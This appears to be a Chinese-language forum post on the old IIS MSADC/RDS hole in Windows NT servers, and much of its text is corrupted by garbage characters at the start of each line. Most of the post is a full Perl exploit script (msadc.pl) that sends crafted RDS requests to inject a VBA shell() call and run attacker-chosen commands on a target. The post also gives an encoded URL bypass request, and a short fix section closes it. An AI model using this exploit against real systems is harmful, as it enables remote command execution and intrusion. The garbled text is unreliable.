IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Jv^cOc a$zm / 涉及程序：
Ms'TC; &PS Microsoft NT server
`I vw`} L ^Ii \vk 描述：
? WQ d 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
-8Jl4F , CziaxJ 详细：
r5!x,{E6 如果你没有时间读详细内容的话，就删除:
<m /b]| c:\Program Files\Common Files\System\Msadc\msadcs.dll
;Ma/b= Y 有关的安全问题就没有了。
HEB /\ T5dUJR2k$ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
E /8u' N{ V5 D 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
:
>w Qwf 关于利用ODBC远程漏洞的描述，请参看:
MX`Wg zJuRth)(, http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm h%1~v$ W` `gt&Y- 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
x ?f0H k+ http://www.microsoft.com/security/bulletins/MS99-025faq.asp UR/qVO? /nY) .lSH 这里不再论述。
qJ X+[PJ o!s%h!%L 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
~X~xE]1o|U 8_<&f%/ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Z[})40[M 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
^x_ >r6 M2;%1^ >w2Q 1! #将下面这段保存为txt文件，然后: "perl -x 文件名"
` CA G8D O>SuZ>g+7 #!perl
dX hCyr%"6 #
C7b
5%a! # MSADC/RDS 'usage' (aka exploit) script
- -
i&" #
@Xq&t}*8 # by rain.forest.puppy
VBbUl|X\ #
!@^y)v # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
XN~#gm#
# beta test and find errors!
q,;".3VQ DOF?(:8Y use Socket; use Getopt::Std;
Avs7(-L+s getopts("e:vd:h:XR", \%args);
Y)Znb;`?a ~A[YnJYA# print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Kf05<J! & %N(kyp if (!defined $args{h} && !defined $args{R}) {
UM4 @H1 print qq~
y3={NB+ Usage: msadc.pl -h <host> { -d <delay> -X -v }
gro7*< -h <host> = host you want to scan (ip or domain)
C
'B4 mmC -d <seconds> = delay between calls, default 1 second
'?{0z!! -X = dump Index Server path table, if available
6 9[V < 1 -v = verbose
<CNE>@-f -e = external dictionary file for step 5
|u^)RB i(M(OR/4 Or a -R will resume a command session
Ud>`@2 xHEVR!&c4 ~; exit;}
zQL!(2 e Z@Gu
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
nmD1C_& if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
vQ:x% =] if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
VFilF< jvu if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
\3%W_vU_ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
'is ,^q:@ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
i'Y-V]-> 2yl6~(JC+ if (!defined $args{R}){ $ret = &has_msadc;
ISpeV die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
?D1x;i9< 536^PcJlN print "Please type the NT commandline you want to run (cmd /c assumed):\n"
IM[54_I . "cmd /c ";
pt= 7~+r $in=<STDIN>; chomp $in;
2#'rk'X,K $command="cmd /c " . $in ;
L&:M8xiA~$ +7Sf8tg\ if (defined $args{R}) {&load; exit;}
~@%(RMJm& NV&;e[z print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
h^['rmd &try_btcustmr;
|)^clkuGX "w; 08TX8 print "\nStep 2: Trying to make our own DSN...";
:0B
|<~lX &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
3|q2rA HvAE,0N print "\nStep 3: Trying known DSNs...";
lxm*;?j`W &known_dsn;
;
Z h9^0 XQK^$Iq]V print "\nStep 4: Trying known .mdbs...";
c L?\^K) &known_mdb;
9Kc0&?q@D {*sGhGwr if (defined $args{e}){
W |lH print "\nStep 5: Trying dictionary of DSN names...";
lrCm9Oy &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
)y6QAp *:?QB8YJ print "Sorry Charley...maybe next time?\n";
}bZ
8-v exit;
v,n); "Lb f F ##############################################################################
<[bQo&B2 E kl| g sub sendraw { # ripped and modded from whisker
T]^? l sleep($delay); # it's a DoS on the server! At least on mine...
Cm^Yl p my ($pstr)=@_;
T& ]Na socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
HHZ`% die("Socket problems\n");
_0 w 1 kqW if(connect(S,pack "SnA4x8",2,80,$target)){
VXiui'/( select(S); $|=1;
{ AFf:[G print $pstr; my @in=<S>;
Umij!=GPG^ select(STDOUT); close(S);
B<Ol+)@,} return @in;
nQ|GqU\oA } else { die("Can't connect...\n"); }}
i)=m7i 18jJzYawh ##############################################################################
)5U !>,fT jg?bf/$s sub make_header { # make the HTTP request
AHq M7+r9 my $msadc=<<EOT
3eWJt\}?B POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
2_ wv C User-Agent: ACTIVEDATA
ka/nQ ~_#< Host: $ip
oI*d/* Content-Length: $clen
$_wo6/J5+D Connection: Keep-Alive
MBlBMUJk ea 2 `q ADCClientVersion:01.06
B4I BuS Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
hzv3F9.x X6'H`E[ --!ADM!ROX!YOUR!WORLD!
Oc #>QZ3 Content-Type: application/x-varg
>:A<"wZ Content-Length: $reqlen
r 5[4h'f )Z("O[ EOT
.8K6C]gw ; $msadc=~s/\n/\r\n/g;
cu)U7 return $msadc;}
RB IOdz 5}
G:D ##############################################################################
mf$Sa58 zz&vfO31J sub make_req { # make the RDS request
C!5I?z& my ($switch, $p1, $p2)=@_;
5?w.rcN[j my $req=""; my $t1, $t2, $query, $dsn;
W+K.r?G<j )(lJT&e if ($switch==1){ # this is the btcustmr.mdb query
Ia#"/`|| $query="Select * from Customers where City=" . make_shell();
G0Hs,B@5? $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
W tVf wC_ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
V:Oi W"/ '$?du~L- elsif ($switch==2){ # this is general make table query
Kr]z]4.d@ $query="create table AZZ (B int, C varchar(10))";
eVx~n(m!} $dsn="$p1";}
V 9Hl1\j^ t0.;nv @A0 elsif ($switch==3){ # this is general exploit table query
b)`pZiQP $query="select * from AZZ where C=" . make_shell();
*7Xzht&f $dsn="$p1";}
7E\g
&R. 4gb'7' elsif ($switch==4){ # attempt to hork file info from index server
lm*g Gy1i $query="select path from scope()";
Mb.4J2F ? $dsn="Provider=MSIDXS;";}
!3V{2-y$- X8Fzs!L` elsif ($switch==5){ # bad query
Pj&A= $query="select";
v%nP*i9 $dsn="$p1";}
X$^JAZ09 ^BiP LQ $t1= make_unicode($query);
s4bv;W $t2= make_unicode($dsn);
8#l+{`$z $req = "\x02\x00\x03\x00";
#1gO?N(<= $req.= "\x08\x00" . pack ("S1", length($t1));
N57 1s $req.= "\x00\x00" . $t1 ;
(hN?:q?' $req.= "\x08\x00" . pack ("S1", length($t2));
c 0ZaFJ $req.= "\x00\x00" . $t2 ;
"mA1H]r3 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
]-bQNYKX return $req;}
|IN[u Q 8k H< $9 ##############################################################################
u Y]0dyI ^1 ;BiQ sub make_shell { # this makes the shell() statement
ZLrHZhP-+ return "'|shell(\"$command\")|'";}
Nbk K&bz (:7a&2/M ##############################################################################
jT-<IJh!o oj@g2 H5P sub make_unicode { # quick little function to convert to unicode
=$&&[& my ($in)=@_; my $out;
`tVy_/3(9 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
:c:V%0Yji return $out;}
;_N5>3 C: Z0\Iyc G ##############################################################################
(f>M &.. 2y%R:Mu sub rdo_success { # checks for RDO return success (this is kludge)
2Wl{Br. my (@in) = @_; my $base=content_start(@in);
GHG,!C if($in[$base]=~/multipart\/mixed/){
oKa>.e7. return 1 if( $in[$base+10]=~/^\x09\x00/ );}
U\bC0q return 0;}
YPE nNt+ N2FbrfNFa ##############################################################################
q.T:0| P=gJAE5 sub make_dsn { # this makes a DSN for us
tvpN/p my @drives=("c","d","e","f");
:0I
l|aB print "\nMaking DSN: ";
6bL~6-h%) foreach $drive (@drives) {
%/pc=i|+ print "$drive: ";
DFy1 bg my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
-Qb0:]sV# "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
-_>.f(1 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
A ~&+F>Z $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
?cK]C2Ak return 0 if $2 eq "404"; # not found/doesn't exist
9/3;{`+[a if($2 eq "200") {
X-/Ban foreach $line (@results) {
y6%<zhs return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
(B}+h } return 0;}
qm%nIU \* : Ss3ck*= ##############################################################################
KB[QZ`"%! Y /lN@ sub verify_exists {
;_tO+xL&
my ($page)=@_;
X| <yq my @results=sendraw("GET $page HTTP/1.0\n\n");
~L'nz quF return $results[0];}
~g dd cTp E47 4l ##############################################################################
% wL, v.} * Hunp Y sub try_btcustmr {
TB#N k5 my @drives=("c","d","e","f");
P4 6,o my @dirs=("winnt","winnt35","winnt351","win","windows");
ipZHSA 7#pZa. B)k foreach $dir (@dirs) {
zYr z0 8PJ print "$dir -> "; # fun status so you can see progress
ikHOqJ-,m foreach $drive (@drives) {
/b{HG7i\ print "$drive: "; # ditto
.Dx2 ;lj $reqlen=length( make_req(1,$drive,$dir) ) - 28;
J"&y |; G $reqlenlen=length( "$reqlen" );
l% <c6 ; $clen= 206 + $reqlenlen + $reqlen;
@vAFfYU9<. `bqzg my @results=sendraw(make_header() . make_req(1,$drive,$dir));
M/B/b<[' if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
4z 0L ke else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
>{XScxaB` m6MaX}&zv ##############################################################################
-u~eZ?(!Ye O`(U/? sub odbc_error {
=4> @8=JA my (@in)=@_; my $base;
}
07r my $base = content_start(@in);
Ja [#[BJ? if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
FL &dv $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
S Q <f $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
jw4TLc7p $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
bA *"ei+!
return $in[$base+4].$in[$base+5].$in[$base+6];}
UA BbcNW print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
'tuBuYD\ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
]]y[t|6 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
(9'b e\ 6t$N 7 8U ##############################################################################
pVz*ZQ[] BS.= sub verbose {
+XQP jg my ($in)=@_;
3+ zzi return if !$verbose;
5rN7':(H!% print STDOUT "\n$in\n";}
w%2ziwgh AY;<q$8j%, ##############################################################################
xB,/dMdTj ;qb Dbg sub save {
8]]@S"ZM,\ my ($p1, $p2, $p3, $p4)=@_;
5L 3{w+V open(OUT, ">rds.save") || print "Problem saving parameters...\n";
# JFYws print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
oG\>-- close OUT;}
l7~Pa0qD |0]YA ##############################################################################
#[(gIOrNn8 XHNkQe sub load {
WKOI \ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
WL/5 oj open(IN,"<rds.save") || die("Couldn't open rds.save\n");
vX 1W@s @p=<IN>; close(IN);
//tT8HX $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
UOJ*a1BM $target= inet_aton($ip) || die("inet_aton problems");
b~9`]+ print "Resuming to $ip ...";
xD^w TtT $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
D}Au6 if($p[1]==1) {
Iu%^*K% $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
8W@dtZ,d $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
ph+M3 q(z my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
,3k@L\$. x if (rdo_success(@results)){print "Success!\n";}
bw0 20@O* else { print "failed\n"; verbose(odbc_error(@results));}}
ka8$d fC elsif ($p[1]==3){
Qxky^:B if(run_query("$p[3]")){
'(T mV#3 print "Success!\n";} else { print "failed\n"; }}
X*)?LxTj elsif ($p[1]==4){
]2PQ X4t 0 if(run_query($drvst . "$p[3]")){
V07VwVD print "Success!\n"; } else { print "failed\n"; }}
n_1jHJo exit;}
.Nk}Z9L]k %fBP:5%K ##############################################################################
r(]98a]o~ TqXg e{ r sub create_table {
u?H@C)P my ($in)=@_;
brj[c>ID $reqlen=length( make_req(2,$in,"") ) - 28;
<8*A\& $reqlenlen=length( "$reqlen" );
;}UzJe ,S $clen= 206 + $reqlenlen + $reqlen;
6-ti Rk~ my @results=sendraw(make_header() . make_req(2,$in,""));
NtqFnxm/ return 1 if rdo_success(@results);
C/bxfp{? my $temp= odbc_error(@results); verbose($temp);
27Cz1[oX return 1 if $temp=~/Table 'AZZ' already exists/;
k?< i*;7 return 0;}
?P%|P VZHr-z$6n ##############################################################################
q ?(A!1(u (x}A _ i sub known_dsn {
z1kBNOr # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
( VfwLo># my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Z>X9J(= "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
1>hb-OMX "banner", "banners", "ads", "ADCDemo", "ADCTest");
1k$2LQ
ccRlql( foreach $dSn (@dsns) {
)ni"qv~J print ".";
:-(U%`a[ next if (!is_access("DSN=$dSn"));
E1#H{ )G if(create_table("DSN=$dSn")){
33*^($bE& print "$dSn successful\n";
7qpzk7X?pR if(run_query("DSN=$dSn")){
E2h(w_l print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
vz- 9<w;>a print "Something's borked. Use verbose next time\n";}}} print "\n";}
y:~eU L^6"' # ##############################################################################
I; ^xAd3G K1/
U
(A sub is_access {
I+*osk my ($in)=@_;
,?Ok[G !cm $reqlen=length( make_req(5,$in,"") ) - 28;
BHEs+ e0 $reqlenlen=length( "$reqlen" );
2@rp<&s $clen= 206 + $reqlenlen + $reqlen;
jMTRcj];( my @results=sendraw(make_header() . make_req(5,$in,""));
mluW=fE my $temp= odbc_error(@results);
T:be 9 5!, verbose($temp); return 1 if ($temp=~/Microsoft Access/);
G}182"#4 return 0;}
n; Lo nWKO8C> ##############################################################################
_2wAaJvA 7We?P,A\; sub run_query {
:x8Jy4L my ($in)=@_;
O'"YJ, $reqlen=length( make_req(3,$in,"") ) - 28;
`Q:de~+AM{ $reqlenlen=length( "$reqlen" );
Qk?jG XB>^ $clen= 206 + $reqlenlen + $reqlen;
i:C.8hm AE my @results=sendraw(make_header() . make_req(3,$in,""));
< 9=zP/Q return 1 if rdo_success(@results);
d ,zp `S my $temp= odbc_error(@results); verbose($temp);
V+Y|4Y& return 0;}
" ]aQ Hh]f xt? 3_?1 ##############################################################################
sGXp}{E9 <l* agH-.3 sub known_mdb {
E%-Pyg* my @drives=("c","d","e","f","g");
Rbx97(wK my @dirs=("winnt","winnt35","winnt351","win","windows");
oxUE79 my $dir, $drive, $mdb;
i6-wf Gs; my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
_Syre6k 3 C q6h;!# # this is sparse, because I don't know of many
co
\[{}} my @sysmdbs=( "\\catroot\\icatalog.mdb",
=6.8bZT\ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
*>E I2HX "\\system32\\certmdb.mdb",
lo\: ]/&6 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
6XQ*:N/4al D=jS h my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
q > Q:X3
"\\cfusion\\cfapps\\forums\\forums_.mdb",
8:Z@ lp^ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
*jYHd#UZx4 "\\cfusion\\cfapps\\security\\realm_.mdb",
i}.{m Et "\\cfusion\\cfapps\\security\\data\\realm.mdb",
bRx2
c
"\\cfusion\\database\\cfexamples.mdb",
G>
f^ 2 "\\cfusion\\database\\cfsnippets.mdb",
r~ZS1Tp "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
%4bO_vb<9 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
L!CX & "\\cfusion\\brighttiger\\database\\cleam.mdb",
`'z(--J}` "\\cfusion\\database\\smpolicy.mdb",
43vG gGW "\\cfusion\\database\cypress.mdb",
M' pb8jf "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
z7O Z4R: "\\website\\cgi-win\\dbsample.mdb",
A8 =e?% "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
y0/WA4, "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
CBiU#h
q ); #these are just
<dju6k7uz foreach $drive (@drives) {
XkM s foreach $dir (@dirs){
8QkWgd7y foreach $mdb (@sysmdbs) {
i oE66-n print ".";
ti$oZ4PpF if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
h
Jfa_ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
jxR F" GD if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
'Qm` A= print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
:z0s*,QH } else { print "Something's borked. Use verbose next time\n"; }}}}}
>i^y;5 w.4u=e >Z4 foreach $drive (@drives) {
$nUd\B$.= foreach $mdb (@mdbs) {
t_[M & print ".";
[}W^4, if(create_table($drv . $drive . $dir . $mdb)){
r;&]?9)W0 print "\n" . $drive . $dir . $mdb . " successful\n";
3q~":bpAp if(run_query($drv . $drive . $dir . $mdb)){
9@KUqo X print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
eT7!a']x } else { print "Something's borked. Use verbose next time\n"; }}}}
k| _$R? }
Wrf^O2 <7_ |Q ##############################################################################
9f\a oVX dWzDSlP& sub hork_idx {
`^ieT#(O print "\nAttempting to dump Index Server tables...\n";
= :xV(GK } print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
A }>|tm7| $reqlen=length( make_req(4,"","") ) - 28;
&&( 4n?
$reqlenlen=length( "$reqlen" );
)bB"12Z|8 $clen= 206 + $reqlenlen + $reqlen;
_aXP
;kFMi my @results=sendraw2(make_header() . make_req(4,"",""));
l _kg3e4 if (rdo_success(@results)){
<Um1h:^ my $max=@results; my $c; my %d;
}aHB$}"! for($c=19; $c<$max; $c++){
C ?GvTc $results[$c]=~s/\x00//g;
8P r&F $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
8]cv &d1f $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
8!
|.H p $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
VYl_ U?D $d{"$1$2"}="";}
?G~/ {m. foreach $c (keys %d){ print "$c\n"; }
I3}HNGvU } else {print "Index server doesn't seem to be installed.\n"; }}
H{ n>KZ]\ ue6/EN;} ##############################################################################
E)&NP}k-P )1Z J sub dsn_dict {
#hy5c,}> open(IN, "<$args{e}") || die("Can't open external dictionary\n");
%fn'iKCB while(<IN>){
m6~ sKJV $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
F"B<R~ next if (!is_access("DSN=$dSn"));
S7?f5ux if(create_table("DSN=$dSn")){
j:rs+1bc print "$dSn successful\n";
:,h=2a_ 8 if(run_query("DSN=$dSn")){
hQg,#r(JE4 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Pqr Ou print "Something's borked. Use verbose next time\n";}}}
3X-{2R/ 3 print "\n"; close(IN);}
r)9i1rI+ K ,lK\^y ##############################################################################
_H^^2#wc/ 7.lK$J: sub sendraw2 { # ripped and modded from whisker
s]nGpA[! sleep($delay); # it's a DoS on the server! At least on mine...
E i\J9zt my ($pstr)=@_;
2g ?Jb5 ) socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
b.mjQ die("Socket problems\n");
2HvTM8 if(connect(S,pack "SnA4x8",2,80,$target)){
eLDL "L print "Connected. Getting data";
PK.h E{R open(OUT,">raw.out"); my @in;
]zhq.O
>2{ select(S); $|=1; print $pstr;
| *]X\UE while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
8r`VbgI& close(OUT); select(STDOUT); close(S); return @in;
~
X]"P4 u } else { die("Can't connect...\n"); }}
M Q9 M%> cdek ^/ ##############################################################################
T0*TTB&b y :i[~ y sub content_start { # this will take in the server headers
xvdnEaWe$ my (@in)=@_; my $c;
<M =W)2D7 for ($c=1;$c<500;$c++) {
$X.'W\o| if($in[$c] =~/^\x0d\x0a/){
'$kS]U if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Tg <>B else { return $c+1; }}}
%WJ {IXlz return -1;} # it should never get here actually
=C G!"&T |$.sB |_
N ##############################################################################
1v[#::Bs {R1C xt} sub funky {
8,H#t@+MT my (@in)=@_; my $error=odbc_error(@in);
:nbW.B3GV if($error=~/ADO could not find the specified provider/){
-pU\"$nuxH print "\nServer returned an ADO miscofiguration message\nAborting.\n";
\f M!^ exit;}
M$>WmG1~D if($error=~/A Handler is required/){
-+
IX[ print "\nServer has custom handler filters (they most likely are patched)\n";
8&2gM exit;}
( 7Ca\H3$ if($error=~/specified Handler has denied Access/){
x
w?9W4< print "\nServer has custom handler filters (they most likely are patched)\n";
G5XnGl }Q exit;}}
('o; M: o{-USUGj7 ##############################################################################
e~2*> 5\: }07<(,0n sub has_msadc {
m|Q&Lph b8 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
*{;A\sL my $base=content_start(@results);
6q
xUT return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
%. 6?\w1e return 0;}
{7pE9R 5 c J"]yG) = ########################
t-<[._: + ;ijfI ["#A -S 解决方案：
w3?t})PB& 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
C"m0"O> 2、移除web 目录: /msadc
